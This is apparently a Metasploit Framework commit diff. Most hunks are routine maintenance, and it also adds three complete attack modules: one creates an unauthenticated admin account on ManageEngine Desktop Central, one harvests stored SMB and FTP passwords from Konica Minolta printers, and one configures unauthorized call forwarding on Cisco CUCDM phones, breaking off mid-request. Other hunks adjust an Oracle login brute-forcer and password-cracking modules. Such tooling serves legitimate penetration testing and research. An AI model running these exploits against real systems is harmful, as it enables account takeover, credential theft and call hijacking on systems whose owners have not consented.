win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005)
@@ -34303,7 +34333,6 @@ class ApiConstants
win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100)
win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007)
win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025)
- win_const_mgr.add_const('GENERIC_READ',0x80000000)
win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000)
win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200)
win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001)
@@ -36254,7 +36283,6 @@ class ApiConstants
win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200)
win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7)
win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100)
- win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A)
win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016)
win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022)
@@ -38107,7 +38135,6 @@ class ApiConstants
win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020)
win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D)
win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010)
- win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040)
win_const_mgr.add_const('IF_CHECK_SEND',0x00000002)
win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800)
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
index fcabf627f8..f176d7f84c 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
@@ -154,37 +154,43 @@ class UI < Rex::Post::UI
def screenshot( quality=50 )
request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
+
# include the x64 screenshot dll if the host OS is x64
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x64.dll not found", caller
end
- screenshot_path = ::File.expand_path( screenshot_path )
+
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size )
end
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
end
+
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
if screenshot_path.nil?
raise RuntimeError, "screenshot.x86.dll not found", caller
end
- screenshot_path = ::File.expand_path( screenshot_path )
+
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|
screenshot_dll += f.read( f.stat.size )
end
+
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
+
# send the request and return the jpeg image if successfull.
response = client.send_request( request )
if( response.result == 0 )
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
end
+
return nil
end
diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb
index b8efa19929..9f896689ef 100644
--- a/lib/rex/proto/http/client.rb
+++ b/lib/rex/proto/http/client.rb
@@ -86,7 +86,7 @@ class Client
typ = self.config_types[var] || 'string'
# These are enum types
- if(typ.class.to_s == 'Array')
+ if typ.is_a?(Array)
if not typ.include?(val)
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
end
@@ -719,4 +719,3 @@ end
end
end
end
-
diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec
index d3d1a3438e..53f592af1c 100644
--- a/metasploit-framework-db.gemspec
+++ b/metasploit-framework-db.gemspec
@@ -29,7 +29,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
# Metasploit::Credential database models
- spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8'
+ spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.11'
# Database models shared between framework and Pro.
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3'
# depend on metasploit-framewrok as the optional gems are useless with the actual code
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 67e51e9b68..9c140cbf52 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0'
# Needed for Meterpreter on Windows, soon others.
- spec.add_runtime_dependency 'meterpreter_bins', '0.0.12'
+ spec.add_runtime_dependency 'meterpreter_bins', '0.0.13'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler
diff --git a/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
new file mode 100644
index 0000000000..253abbd34c
--- /dev/null
+++ b/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb
@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
+ 'Description' => %q{
+ This module exploits an administrator account creation vulnerability in Desktop Central
+ from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
+ several versions of Desktop Central (including MSP) from v7 onwards.
+ },
+ 'Author' =>
+ [
+ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2014-7862'],
+ ['OSVDB', '116554'],
+ ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_dc9_admin.txt'],
+ ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/2']
+ ],
+ 'DisclosureDate' => 'Dec 31 2014'))
+
+ register_options(
+ [
+ OptPort.new('RPORT', [true, 'The target port', 8020]),
+ OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
+ OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
+ OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
+ OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
+ ], self.class)
+ end
+
+
+ def run
+ # Generate password hash
+ salt = Time.now.to_i.to_s
+ password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
+
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
+ 'method' =>'GET',
+ 'vars_get' => {
+ 'action' => 'addPlugInUser',
+ 'role' => 'DCAdmin',
+ 'userName' => datastore['USERNAME'],
+ 'email' => datastore['EMAIL'],
+ 'phNumber' => Rex::Text.rand_text_numeric(6),
+ 'password' => password_encoded,
+ 'salt' => salt,
+ 'createdtime' => salt
+ }
+ })
+
+ # Yes, "sucess" is really mispelt, as is "Servelet" ... !
+ unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
+ print_error("#{peer} - Administrator account creation failed")
+ end
+
+ print_good("#{peer} - Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
+ service_data = {
+ address: rhost,
+ port: rport,
+ service_name: (ssl ? 'https' : 'http'),
+ protocol: 'tcp',
+ workspace_id: myworkspace_id
+ }
+ credential_data = {
+ origin_type: :service,
+ module_fullname: self.fullname,
+ private_type: :password,
+ private_data: datastore['PASSWORD'],
+ username: datastore['USERNAME']
+ }
+
+ credential_data.merge!(service_data)
+ credential_core = create_credential(credential_data)
+ login_data = {
+ core: credential_core,
+ access_level: 'Administrator',
+ status: Metasploit::Model::Login::Status::UNTRIED
+ }
+ login_data.merge!(service_data)
+ create_credential_login(login_data)
+ end
+end
diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb
index a75e1a4303..f4a0fbdf1f 100644
--- a/modules/auxiliary/admin/oracle/oracle_login.rb
+++ b/modules/auxiliary/admin/oracle/oracle_login.rb
@@ -44,27 +44,28 @@ class Metasploit3 < Msf::Auxiliary
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
fd = CSV.foreach(list) do |brute|
+ datastore['DBUSER'] = brute[2].downcase
+ datastore['DBPASS'] = brute[3].downcase
- datastore['DBUSER'] = brute[2].downcase
- datastore['DBPASS'] = brute[3].downcase
-
- begin
- connect
- disconnect
- rescue ::OCIError => e
+ begin
+ connect
+ disconnect
+ rescue ::OCIError => e
+ if e.to_s =~ /^ORA-12170:\s/
+ print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
+ break
+ end
else
- if (not e)
- report_auth_info(
+ report_auth_info(
:host => "#{datastore['RHOST']}",
:port => "#{datastore['RPORT']}",
:sname => 'oracle',
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
:pass => "#{datastore['DBPASS']}",
:active => true
- )
- print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
- end
- end
+ )
+ print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
+ end
end
end
end
diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb
index bea5afa96b..3c5cd91269 100644
--- a/modules/auxiliary/analyze/jtr_aix.rb
+++ b/modules/auxiliary/analyze/jtr_aix.rb
@@ -43,6 +43,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb
index 6f707758b2..e1137d8945 100644
--- a/modules/auxiliary/analyze/jtr_crack_fast.rb
+++ b/modules/auxiliary/analyze/jtr_crack_fast.rb
@@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb
index 90b010f6be..5f241a70c6 100644
--- a/modules/auxiliary/analyze/jtr_linux.rb
+++ b/modules/auxiliary/analyze/jtr_linux.rb
@@ -57,6 +57,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb
index c5d27273c4..b614f4396a 100644
--- a/modules/auxiliary/analyze/jtr_mssql_fast.rb
+++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb
@@ -44,6 +44,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb
index 6881948ba6..759af296be 100644
--- a/modules/auxiliary/analyze/jtr_mysql_fast.rb
+++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb
@@ -42,6 +42,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb
index 0637971d2f..18ee1edbd3 100644
--- a/modules/auxiliary/analyze/jtr_postgres_fast.rb
+++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb
@@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary
cracker_instance = cracker.dup
cracker_instance.format = format
print_status "Cracking #{format} hashes in normal wordlist mode..."
+ # Turn on KoreLogic rules if the user asked for it
+ if datastore['KoreLogic']
+ cracker_instance.rules = 'KoreLogicRules'
+ print_status "Applying KoreLogic ruleset..."
+ end
cracker_instance.crack do |line|
print_status line.chomp
end
diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
new file mode 100644
index 0000000000..c4e2acae33
--- /dev/null
+++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb
@@ -0,0 +1,258 @@
+#
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex/proto/http'
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Konica Minolta Password Extractor',
+ 'Description' => %q(
+ This module will extract FTP and SMB account usernames and passwords
+ from Konica Minolta mfp devices. Tested models include: C224, C280,
+ 283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
+ 'Author' =>
+ [
+ 'Deral "Percentx" Heiland',
+ 'Pete "Bokojan" Arzamendi'
+ ],
+ 'License' => MSF_LICENSE
+ ))
+
+ register_options(
+ [
+ Opt::RPORT('50001'),
+ OptString.new('USER', [false, 'The default Admin user', 'Admin']),
+ OptString.new('PASSWD', [true, 'The default Admin password', '12345678']),
+ OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
+
+ ], self.class)
+ end
+
+ # Creates the XML data to be sent that will extract AuthKey
+ def generate_authkey_request_xlm(major, minor)
+ user = datastore['USER']
+ passwd = datastore['PASSWD']
+ Nokogiri::XML::Builder.new do |xml|
+ xml.send('SOAP-ENV:Envelope',
+ 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+ 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+ 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
+ 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
+ xml.send('SOAP-ENV:Header'){
+ xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
+ xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
+ xml.send('UserName', 'xmlns' => '') { xml.text '' }
+ xml.send('Password', 'xmlns' => '') { xml.text '' }
+ xml.send('Version', 'xmlns' => ''){
+ xml.send('Major') { xml.text "#{major}" }
+ xml.send('Minor') { xml.text "#{minor}" }
+ }
+ xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
+ }
+ }
+ xml.send('SOAP-ENV:Body') {
+ xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
+ xml.send('OperatorInfo'){
+ xml.send('UserType') { xml.text "#{user}" }
+ xml.send('Password') { xml.text "#{passwd}" }
+ }
+ xml.send('TimeOut') { xml.text '60' }
+ }
+ }
+ }
+ end
+ end
+
+ # Create XML data that will be sent to extract SMB and FTP passwords from device
+ def generate_pwd_request_xlm(major, minor, authkey)
+ Nokogiri::XML::Builder.new do |xml|
+ xml.send('SOAP-ENV:Envelope',
+ 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
+ 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
+ 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
+ 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
+ xml.send('SOAP-ENV:Header'){
+ xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
+ xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
+ xml.send('UserName', 'xmlns' => '') { xml.text '' }
+ xml.send('Password', 'xmlns' => '') { xml.text '' }
+ xml.send('Version', 'xmlns' => ''){
+ xml.send('Major') { xml.text "#{major}" }
+ xml.send('Minor') { xml.text "#{minor}" }
+ }
+ xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
+ }
+ }
+ xml.send('SOAP-ENV:Body'){
+ xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
+ xml.send('OperatorInfo'){
+ xml.send('AuthKey') { xml.text "#{authkey}" }
+ }
+ xml.send('AbbrListCondition'){
+ xml.send('SearchKey') { xml.text 'None' }
+ xml.send('WellUse') { xml.text 'false' }
+ xml.send('ObtainCondition'){
+ xml.send('Type') { xml.text 'OffsetList' }
+ xml.send('OffsetRange'){
+ xml.send('Start') { xml.text '1' }
+ xml.send('Length') { xml.text '100' }
+ }
+ }
+ xml.send('BackUp') { xml.text 'true' }
+ xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
+ }
+ }
+ }
+ }
+ end
+ end
+
+ # This next section will post the XML soap messages for information gathering.
+ def run_host(ip)
+ print_status("Attempting to extract username and password from the host at #{peer}")
+ version
+ end
+
+ # Validate XML Major Minor version
+ def version
+ response = send_request_cgi(
+ {
+ 'uri' => '/',
+ 'method' => 'POST',
+ 'data' => ''
+ }, datastore['TIMEOUT'].to_i)
+ if response.nil?
+ print_error("#{peer} - No reponse from device")
+ return
+ else
+ xml0_body = ::Nokogiri::XML(response.body)
+ major_parse = xml0_body.xpath('//Major').text
+ minor_parse = xml0_body.xpath('//Minor').text
+ major = ("#{major_parse}")
+ minor = ("#{minor_parse}")
+ login(major, minor)
+ end
+
+ rescue ::Rex::ConnectionError
+ print_error("#{peer} - Version check Connection failed.")
+ end
+
+ # This section logs on and retrieves AuthKey token
+ def login(major, minor)
+ authreq_xml = generate_authkey_request_xlm(major, minor)
+ # Send post request with crafted XML to login and retreive AuthKey
+ begin
+ response = send_request_cgi(
+ {
+ 'uri' => '/',
+ 'method' => 'POST',
+ 'data' => authreq_xml.to_xml
+ }, datastore['TIMEOUT'].to_i)
+ if response.nil?
+ print_error("#{peer} - No reponse from device")
+ return
+ else
+ xml1_body = ::Nokogiri::XML(response.body)
+ authkey_parse = xml1_body.xpath('//AuthKey').text
+ authkey = ("#{authkey_parse}")
+ extract(major, minor, authkey)
+ end
+ rescue ::Rex::ConnectionError
+ print_error("#{peer} - Login Connection failed.")
+ end
+ end
+
+ # This section post xml soap message that will extract usernames and passwords
+ def extract(major, minor, authkey)
+ if (authkey != '')
+ # create xml request to extract user credintial settings
+ smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
+ # Send post request with crafted XML as data
+ begin
+ response = send_request_cgi(
+ {
+ 'uri' => '/',
+ 'method' => 'POST',
+ 'data' => smbreq_xml.to_xml
+ }, datastore['TIMEOUT'].to_i)
+ if response.nil?
+ print_error("#{peer} - No reponse from device")
+ return
+ else
+ xml2_body = ::Nokogiri::XML(response.body)
+ @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text }
+ @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text }
+ @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text }
+ @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text }
+ @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text }
+ @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text }
+ @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text }
+ end
+ end
+ i = 0
+ # output SMB data
+ @smb_user.each do
+ shost = "#{@smb_host[i]}"
+ sname = "#{@smb_user[i]}"
+ sword = "#{@smb_pass[i]}"
+ print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139")
+ register_creds('smb', shost, '139', sname, sword)
+ i += 1
+ end
+ i = 0
+ # output FTP data
+ @ftp_user.each do
+ fhost = "#{@ftp_host[i]}"
+ fname = "#{@ftp_user[i]}"
+ fword = "#{@ftp_pass[i]}"
+ fport = "#{@ftp_port[i]}"
+ print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}")
+ register_creds('ftp', fhost, fport, fname, fword)
+ i += 1
+ end
+
+ else
+ print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model')
+ return
+ end
+ end
+
+ def register_creds(service_name, remote_host, remote_port, username, password)
+ credential_data = {
+ origin_type: :service,
+ module_fullname: self.fullname,
+ workspace_id: myworkspace.id,
+ private_data: password,
+ private_type: :password,
+ username: username
+ }
+
+ service_data = {
+ address: remote_host,
+ port: remote_port,
+ service_name: service_name,
+ protocol: 'tcp',
+ workspace_id: myworkspace_id
+ }
+
+ credential_data.merge!(service_data)
+ credential_core = create_credential(credential_data)
+
+ login_data = {
+ core: credential_core,
+ status: Metasploit::Model::Login::Status::UNTRIED,
+ workspace_id: myworkspace_id
+ }
+
+ login_data.merge!(service_data)
+ create_credential_login(login_data)
+ end
+end
diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
index c908eeb835..48c7704cf7 100644
--- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
+++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb
@@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary
end
else
next if (res.code == 500 or res.code == 404 or res.code == 302)
- print_error("#{ip} #{res.inspect}")
+ print_error("#{ip} #{res.to_s}")
end
end
diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb
index 66f90d252f..b6dd8c5391 100644
--- a/modules/auxiliary/scanner/http/ektron_cms400net.rb
+++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb
@@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary
end
end
- def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation)
+ def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
- post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}"
- post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}"
+ post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
+ post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
index d41900d8a6..19a35e271d 100644
--- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
+++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
@@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
else
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
- print_error(res.inspect)
+ print_error(res.to_s)
return :abort
end
diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb
index 6f6070401d..6b881e849e 100644
--- a/modules/auxiliary/spoof/dns/compare_results.rb
+++ b/modules/auxiliary/spoof/dns/compare_results.rb
@@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary
name = name.to_s
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
- case anst
- when 'NS'
+ case data
+ when Resolv::DNS::Resource::IN::NS
data = data.name.to_s
- when 'MX'
+ when Resolv::DNS::Resource::IN::MX
data = data.exchange.to_s
- when 'A'
+ when Resolv::DNS::Resource::IN::A
data = data.address.to_s
- when 'TXT'
+ when Resolv::DNS::Resource::IN::TXT
data = data.strings.join
- when 'CNAME'
+ when Resolv::DNS::Resource::IN::CNAME
data = data.name.to_s
else
data = anst
diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
new file mode 100644
index 0000000000..584e4c26aa
--- /dev/null
+++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb
@@ -0,0 +1,148 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rexml/document'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
+ 'Description' => %q{
+ The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
+ (CDM) 10 does not properly implement access control, which allows remote attackers to
+ modify user information. This module exploits the vulnerability for configure unauthorized
+ call forwarding.
+ },
+ 'Author' => 'fozavci',
+ 'References' =>
+ [
+ ['CVE', '2014-3300'],
+ ['BID', '68331']
+ ],
+ 'License' => MSF_LICENSE,
+ 'Actions' =>
+ [
+ [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
+ [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
+ ],
+ 'DefaultAction' => 'Info'
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
+ OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
+ OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
+ OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
+ ], self.class)
+ end
+
+ def run
+ case action.name.upcase
+ when 'INFO'
+ get_info
+ when 'FORWARD'
+ forward_calls
+ end
+ end
+
+ def get_info
+ uri = normalize_uri(target_uri.to_s)
+ mac = datastore["MAC"]
+
+ print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
+
+ res = send_request_cgi(
+ {
+ 'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'device' => "SEP#{mac}"
+ }
+ })
+
+ unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
+ print_error("#{peer} - Target appears not vulnerable!")
+ print_status("#{res}")
+ return []
+ end
+
+ doc = REXML::Document.new(res.body)
+ lines = []
+ fint_numbers = []
+
+ list = doc.root.get_elements('MenuItem')
+
+ list.each do |lst|
+ xlist = lst.get_elements('Name')
+ xlist.each {|l| lines << "#{l[0]}"}
+ xlist = lst.get_elements('URL')
+ xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
+ end
+
+ lines.size.times do |i|
+ print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
+ end
+
+ fint_numbers
+ end
+
+ def forward_calls
+ # for a specific FINTNUMBER redirection
+ uri = normalize_uri(target_uri.to_s)
+ forward_to = datastore["FORWARDTO"]
+ mac = datastore["MAC"]
+
+ if datastore['FINTNUMBER']
+ fint_numbers = [datastore['FINTNUMBER']]
+ else
+ fint_numbers = get_info
+ end
+
+ if fint_numbers.empty?
+ print_error("#{peer} - FINTNUMBER required to forward calls")
+ return
+ end
+
+ fint_numbers.each do |fintnumber|
+
+ print_status("#{peer} - Sending call forward request for #{fintnumber}")
+
+ send_request_cgi(
+ {
+ 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
+ 'method' => 'GET',
+ 'vars_get' => {
+ 'cfoption' => 'CallForwardAll',
